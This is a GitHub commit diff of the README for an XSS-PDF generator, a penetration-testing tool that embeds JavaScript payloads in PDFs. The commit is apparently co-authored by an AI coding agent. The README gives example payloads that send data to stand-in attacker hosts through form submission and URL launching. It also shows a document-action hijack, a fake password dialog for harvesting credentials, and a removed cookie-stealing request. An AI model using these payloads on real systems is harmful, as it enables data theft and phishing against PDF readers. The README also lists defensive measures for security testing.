Skip to content

Commit 39e1f91

Browse files
CopilotSNGWN
andcommitted
Implement sophisticated PDF sandbox escape techniques
Co-authored-by: SNGWN <36560000+SNGWN@users.noreply.github.com>
1 parent b6612d8 commit 39e1f91

File tree

2 files changed

+612
-198
lines changed

2 files changed

+612
-198
lines changed

README.md

Lines changed: 98 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,47 @@
1-
# XSS-PDF Generator
1+
# XSS-PDF Generator - Advanced PDF Sandbox Escape Tool
22

3-
An advanced tool for generating PDF files containing various XSS (Cross-Site Scripting) payloads for security testing and penetration testing purposes.
3+
An advanced tool for generating PDF files with sophisticated JavaScript payloads designed to escape PDF sandbox environments. This tool creates PDF files containing various sandbox escape techniques for security testing and penetration testing purposes.
44

55
## ⚠️ Legal Disclaimer
66

77
This tool is designed for legitimate security testing, educational purposes, and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before testing any systems. Unauthorized use is prohibited and may be illegal.
88

9+
## 🔒 PDF Sandbox Context
10+
11+
PDF files are typically rendered in sandboxed environments that restrict access to:
12+
- Browser DOM APIs (document.cookie, XMLHttpRequest, etc.)
13+
- File system access through standard web APIs
14+
- Direct network communication through browser APIs
15+
16+
This tool implements **PDF-specific JavaScript APIs** and **sandbox escape techniques** to overcome these limitations.
17+
918
## 🚀 Features
1019

11-
- **10 Different XSS Payload Types**: Comprehensive collection of XSS attack vectors
12-
- **URL Integration**: Support for data exfiltration to external URLs
13-
- **Custom Payloads**: Ability to inject custom JavaScript code
20+
- **12 Different PDF Sandbox Escape Types**: Comprehensive collection of PDF-specific attack vectors
21+
- **PDF-Specific JavaScript APIs**: Uses proper PDF JavaScript context instead of browser APIs
22+
- **Multiple Sandbox Escape Techniques**: URL launching, form submission, dialog manipulation
23+
- **URL Integration**: Support for data exfiltration to external URLs via PDF escape methods
24+
- **Custom Payloads**: Ability to inject custom PDF JavaScript code
25+
- **Enhanced PDF Structure**: Sophisticated PDF structure for better escape potential
1426
- **Multiple Output Formats**: PDF and HTML file generation
1527
- **Timestamped Files**: Automatic file naming with timestamps
16-
- **Type-Specific Generation**: Generate specific payload types or all at once
17-
- **Backward Compatibility**: Maintains compatibility with legacy usage
18-
19-
## 📋 Available XSS Payload Types
20-
21-
| Type | Description | Use Case |
22-
|------|-------------|----------|
23-
| `alert` | Basic alert payload | Simple XSS validation |
24-
| `cookie` | Cookie stealing payload | Session hijacking simulation |
25-
| `redirect` | Redirect/phishing payload | Phishing attack simulation |
26-
| `form` | Form data exfiltration payload | Data theft simulation |
27-
| `dom` | DOM manipulation payload | Page defacement testing |
28-
| `obfuscated` | Obfuscated payload (Base64) | Bypass filter testing |
29-
| `timer` | Time-based payload | Persistent XSS testing |
30-
| `keylog` | Keylogger payload | Keystroke capture simulation |
31-
| `network` | Network request payload | External communication testing |
32-
| `file` | File system/storage access payload | Local storage access testing |
28+
29+
## 📋 Available PDF Sandbox Escape Types
30+
31+
| Type | Description | Escape Method |
32+
|------|-------------|---------------|
33+
| `alert` | Basic PDF alert payload | PDF JavaScript execution test |
34+
| `cookie` | PDF data exfiltration | Form submission + URL launching |
35+
| `redirect` | PDF URL launching escape | app.launchURL() sandbox escape |
36+
| `form` | PDF form submission escape | this.submitForm() data exfiltration |
37+
| `dom` | PDF document manipulation | PDF property and state manipulation |
38+
| `obfuscated` | Obfuscated PDF payload | Encoded PDF JavaScript |
39+
| `timer` | PDF timer-based escape | app.setTimeOut() and action scheduling |
40+
| `keylog` | PDF event monitoring | PDF action and field event hijacking |
41+
| `network` | PDF network sandbox escape | URL launching + form submission |
42+
| `file` | PDF file system escape | browseForDoc, saveAs, print exploitation |
43+
| `action` | PDF action-based escape | Document action hijacking |
44+
| `dialog` | PDF dialog manipulation | Dialog exploitation for credential harvesting |
3345

3446
## 🛠️ Installation & Requirements
3547

@@ -67,23 +79,26 @@ python3 script.py -t all
6779
python3 script.py -o html
6880
```
6981

70-
### Advanced Usage
82+
### Advanced PDF Sandbox Escape Usage
7183

7284
```bash
73-
# Cookie stealer with data exfiltration URL
85+
# PDF data exfiltration via form submission escape
7486
python3 script.py -t cookie -u http://attacker.com/collect
7587

76-
# Generate all payloads with URL for data exfiltration
77-
python3 script.py -t all -u http://collaborator.burpsuite.com
88+
# PDF action-based sandbox escape
89+
python3 script.py -t action -u http://collaborator.burpsuite.com
90+
91+
# PDF dialog manipulation for credential harvesting
92+
python3 script.py -t dialog -u http://logger.example.com
7893

79-
# Custom JavaScript payload
80-
python3 script.py -s "app.alert('Custom XSS'); document.location='http://evil.com'"
94+
# PDF file system escape attempts
95+
python3 script.py -t file
8196

82-
# Network request to specific endpoint
83-
python3 script.py -t network -u https://httpbin.org/post
97+
# Generate all PDF sandbox escape types
98+
python3 script.py -t all -u http://collaborator.burpsuite.com
8499

85-
# Keylogger with data exfiltration
86-
python3 script.py -t keylog -u http://logger.example.com/keys
100+
# PDF network escape via URL launching
101+
python3 script.py -t network -u https://webhook.site/unique-id
87102
```
88103

89104
## 🏁 Command Line Flags
@@ -113,51 +128,63 @@ Generated HTML files follow the naming convention: `xss_test_<timestamp>.html`
113128
Example:
114129
- `xss_test_20240115_143035.html`
115130

116-
## 🎯 Payload Examples
131+
## 🎯 PDF Sandbox Escape Examples
117132

118-
### Basic Alert
133+
### PDF Form Submission Escape
119134
```javascript
120-
app.alert('XSS Test - Basic Alert');
135+
// PDF-specific data exfiltration
136+
this.submitForm({
137+
cURL: "http://attacker.com/collect",
138+
cSubmitAs: "HTML",
139+
cCharset: "utf-8"
140+
});
121141
```
122142

123-
### Cookie Stealing
143+
### PDF URL Launching Escape
124144
```javascript
125-
var cookies = document.cookie;
126-
var xhr = new XMLHttpRequest();
127-
xhr.open("POST", "http://attacker.com/collect", true);
128-
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
129-
xhr.send("cookies=" + encodeURIComponent(cookies));
145+
// Escape sandbox via URL launching
146+
app.launchURL("http://attacker.com/escape?data=" + encodeURIComponent(data), true);
130147
```
131148

132-
### DOM Manipulation
149+
### PDF Action Hijacking
133150
```javascript
134-
document.body.style.backgroundColor = "red";
135-
document.body.innerHTML = "<h1>XSS - DOM Hijacked!</h1>";
151+
// Hijack document actions for persistent escape
152+
this.setAction("WillSave",
153+
"app.launchURL('http://attacker.com/save-intercept', true);"
154+
);
136155
```
137156

138-
### Obfuscated Payload
157+
### PDF Dialog Exploitation
139158
```javascript
140-
var obf = "YXBwLmFsZXJ0KCJPYmZ1c2NhdGVkIFhTUyBwYXlsb2FkIGV4ZWN1dGVkIik=";
141-
eval(atob(obf));
159+
// Credential harvesting via PDF dialogs
160+
var creds = app.response({
161+
cQuestion: "Enter your credentials:",
162+
cTitle: "Security Check",
163+
bPassword: true
164+
});
142165
```
143166

144-
## 🔍 Testing Methodology
167+
## 🔍 PDF Security Testing Methodology
145168

146-
1. **Generate Test Files**: Use the tool to create PDF files with various XSS payloads
147-
2. **Upload/Embed**: Test file upload functionality on target applications
148-
3. **Monitor Responses**: Check for JavaScript execution in PDF viewers
149-
4. **Data Exfiltration**: Use URL flag to test data extraction capabilities
150-
5. **Filter Bypass**: Test obfuscated payloads against security filters
169+
1. **Generate PDF Test Files**: Use the tool to create PDF files with various sandbox escape payloads
170+
2. **Upload/Embed Testing**: Test file upload functionality on target applications
171+
3. **PDF Viewer Analysis**: Test different PDF viewers (Adobe Reader, browser built-ins, etc.)
172+
4. **Sandbox Escape Monitoring**: Monitor for successful escapes via URL launching, form submission
173+
5. **Data Exfiltration Testing**: Use URL flag to test actual data extraction capabilities
174+
6. **Action Persistence Testing**: Test if PDF actions persist across viewer sessions
175+
7. **Dialog Security Testing**: Test credential harvesting via PDF dialog manipulation
151176

152-
## 🛡️ Defensive Measures
177+
## 🛡️ PDF-Specific Defensive Measures
153178

154-
To protect against XSS-PDF attacks:
179+
To protect against PDF sandbox escape attacks:
155180

156-
- Disable JavaScript in PDF viewers
157-
- Implement strict file upload validation
158-
- Use Content Security Policy (CSP) headers
159-
- Sanitize and validate all user inputs
160-
- Regular security testing and code reviews
181+
- **Disable PDF JavaScript**: Configure PDF viewers to disable JavaScript execution
182+
- **PDF Upload Restrictions**: Implement strict PDF upload validation and content analysis
183+
- **Sandbox Hardening**: Use additional sandboxing layers beyond PDF viewer defaults
184+
- **Network Monitoring**: Monitor for unusual outbound connections from PDF viewer processes
185+
- **Content Security Policy**: Implement CSP headers that restrict PDF-initiated requests
186+
- **PDF Content Analysis**: Scan uploaded PDFs for JavaScript and suspicious structures
187+
- **User Education**: Train users on PDF security risks and safe viewing practices
161188

162189
## 🚨 Security Considerations
163190

@@ -169,14 +196,17 @@ To protect against XSS-PDF attacks:
169196

170197
## 📈 Changelog
171198

172-
### Version 2.0 (Current)
173-
- Added 10 different XSS payload types
174-
- Implemented type-specific generation with `-t` flag
175-
- Enhanced URL integration for data exfiltration
176-
- Added comprehensive help and documentation
177-
- Improved file naming with timestamps
178-
- Added HTML output format
179-
- Enhanced error handling and validation
199+
### Version 3.0 (Current) - PDF Sandbox Escape Enhancement
200+
- **Complete rewrite for PDF sandbox context**
201+
- **PDF-specific JavaScript APIs**: Replaced browser APIs with PDF JavaScript
202+
- **12 sophisticated sandbox escape techniques**
203+
- **Enhanced PDF structure**: More complex PDF objects for better escape potential
204+
- **Action-based persistence**: PDF action hijacking for persistent attacks
205+
- **Dialog exploitation**: Credential harvesting via PDF dialogs
206+
- **Form submission escapes**: Data exfiltration via PDF form submission
207+
- **URL launching escapes**: Sandbox escape via app.launchURL()
208+
- **File system escape attempts**: PDF-specific file access methods
209+
- **Comprehensive error handling for PDF context**
180210

181211
### Version 1.0 (Legacy)
182212
- Basic PDF generation with simple XSS payloads

0 commit comments

Comments
 (0)